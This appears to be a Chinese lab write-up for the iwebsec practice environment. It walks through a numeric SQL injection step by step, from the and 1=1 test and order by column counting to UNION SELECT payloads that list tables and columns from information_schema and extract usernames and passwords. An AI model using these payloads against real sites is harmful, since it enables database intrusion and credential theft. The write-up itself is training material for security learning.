iwebsec-SQL数字型注入

1.判断是否存在漏洞

添加and 1=1发现正常显示,添加and 1=2无回显条目,则存在sql注入漏洞

2.因为有回显,尝试union联合注入,使用order by判断出有3个字段

3.使用union联合注入查看回显位,发现3三个字段均有回显,任意使用字段注入即可

4.获取数据库名

复制代码
?id=-1 union select database(),2,3

5.获取表名,这时候发现如果使用1和2回显位会显示报错,那么可以使用3回显位回显

复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

6.猜测用户可能存在user或users表中,先使用user表查看字段

复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user"

7.查看id=1的username和password

这里应该不是user表,真是用户存在users表,将表名改为users一样

复制代码
?id=-1 union select 1,2,group_concat(username,',',password) from user where id=1
相关推荐
ss2732 小时前
为什么PostgreSQL适合AI场景?
数据库·人工智能·postgresql
瑞克-桑切斯2 小时前
7、MySQL 慢查询排查与优化实战指南
java·服务器·数据库
z06.3 小时前
MySQL索引
数据库·mysql
考虑考虑3 小时前
Posrgresql恢复.backup文件
数据库·后端·postgresql
云祺vinchin3 小时前
中小企业备份软件选型从恢复需求到总体成本评估
数据库·数据备份·中小企业备份·容灾备份软件
Zenova EdgeOS4 小时前
Go 工业边缘错误处理实战:用 errors 构建可追溯错误链
开发语言·数据库·golang
KKKlucifer4 小时前
国内数据安全服务的产品智能化转型:大模型赋能下的技术能力重构分析
大数据·数据库·重构
字节跳动开源5 小时前
OpenViking 上线原生 3D 内容理解模型
数据库·开源
迪康Defender6 小时前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
CCIE-Yasuo7 小时前
网络安全-学习数据库-Mysql-2
数据库·学习·mysql